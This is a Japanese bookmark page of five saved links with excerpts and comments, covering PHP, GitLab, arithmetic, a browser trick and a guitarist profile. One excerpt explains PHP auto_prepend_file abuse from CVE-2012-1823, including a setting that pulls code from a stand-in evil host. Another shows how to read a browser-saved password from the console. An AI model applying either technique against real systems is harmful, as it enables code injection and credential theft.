タグ

2020年4月29日のブックマーク (5件)

  • PHPのauto_prepend_fileでdataスキームを指定してみた - Qiita

    PHPの設定ファイル php.ini には、auto_prepend_fileという項目があって、スクリプトが起動される前に実行するスクリプトを指定することができる。通常は php.ini などに auto_prepend_file=/path/to/start.php などと記述する。 これが悪用される場合がある。PHPの脆弱性CVE-2012-1823の悪用コードでは、auto_prepend_file=php://input として、攻撃コードをリクエストボディにいれるという手法が取られたが、理論的には外部サイトに攻撃コードをおいて、auto_prepend_file=http://evil.example.com/snipet.txt などとしてもよい。そして、理論的にはdataスキームを使っても攻撃できるはずだと思った。で、試してみた。 $ php -d allow_url_in

    PHPのauto_prepend_fileでdataスキームを指定してみた - Qiita
    n314
    n314 2020/04/29
  • 米GitLabが国内市場へ本格参入、日本企業のソフトウェア開発効率化を支援

    米GitLabが国内市場へ本格参入、日本企業のソフトウェア開発効率化を支援
    n314
    n314 2020/04/29
    テストで試しただけだけど、ボタンポチポチしたら簡単にk8sのci環境ができて凄いと思った。あんまり使ってる人いないんかね。
  • PCのロックさえ解除されていれば、サイトのログイン画面開いてパスワードが..

    PCのロックさえ解除されていれば、サイトのログイン画面開いてパスワードが「●●●●」って自動入力されてるところを右クリックして「検証」 あとはコンソールに $0.value でパスワードが読める。エンジニアならPCのパスワードなんて使わないだろう。

    PCのロックさえ解除されていれば、サイトのログイン画面開いてパスワードが..
    n314
    n314 2020/04/29
    悪意のある管理者ユーザーを想定したら何したって無理なので気にせず保存してる。個人の秘密情報を会社のPC保存しないとすると、GitHubの利用がめっちゃ大変そう。
  • 算数がわからない

    特に割り算。 速さの概念がわからない。 30キロの道程を二時間で走ったとすると15キロ/時になる。この時点で既にわからない。 計算はできる。みはじの式に当てはめるだけだから。でも、15キロ/時というのがなんなのかよくわからない。 一時間で15キロ走る。なるほど。イチジカンデジュウゴキロハシル。 ??? 二時間だと30キロ。三時間だと45キロ。ほう。確かにな。道程出すには早さと時間をかけるからな。なんでかけるのかわからないけど。 1時間30分だと1.5×15=22.5になる。22.5キロと解答欄に書く。だがなにもわからない。 なんで速さに時間をかけると走った距離が出てくるのかわからない。 そもそも速さってなんだ。 なにもかもわからない。 わかるようになるまで考えるのが大事っていうけど、そもそもわかるとはなんだ。 計算ができたらわかるでいいのか? でもわかってない。式を覚えて数字を当てはめてる

    算数がわからない
    n314
    n314 2020/04/29
    「単位」が分かってないんじゃないだろうか。算数というより物理のような。「1」が何かってことだよね。
  • クラシックギタリスト・村治佳織|平成の天才少女の「現在地」|文藝春秋digital

    時代を切り拓く“異能”の人びとの物語を、新進気鋭のライターたちが描く連載ノンフィクション「令和の開拓者たち」。今回の主人公は、クラシックギタリスト・村治佳織氏です。/文・上原善広(ノンフィクション作家)平成の天才少女が苦難を乗り越えて─ 令和元年12月21日、サントリーホールで「歴史的」ともいえる演奏会が行われた。 村治佳織(41)が、たった1人で2000席もの大ホールを満杯にして、デビュー25周年記念コンサートを開いたのだ。 冒頭からいきなりドメニコーニ「コユンババ」の不思議な旋律がホールに響き渡る。長丁場のコンサートの1曲目にもってくるには、演奏家として相当の自信がないとできないテクニカルな曲だ。 短い休憩を挟んだ後には、ブリテンの大曲「ノクターナル」をまたもや最初にもってきた。曲のテーマがラストに現れる難しい曲だが、彼女が弾くと不思議と聴かされる。 2時間半に及ぶコンサート、アンコー

    クラシックギタリスト・村治佳織|平成の天才少女の「現在地」|文藝春秋digital
    n314
    n314 2020/04/29
    続きが気になる